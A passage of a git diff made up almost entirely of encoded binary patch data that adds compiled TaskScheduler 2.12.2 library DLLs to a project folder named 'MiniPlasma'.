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 E7o*CbumAu6 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..e4b7235fc9f3204d930d8ced452a7135710980e3 GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000000000000000000000000000000000000..44bd0ea5ed1014eb0697e611efa32f4f07b483f2 GIT binary patch literal 333312 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 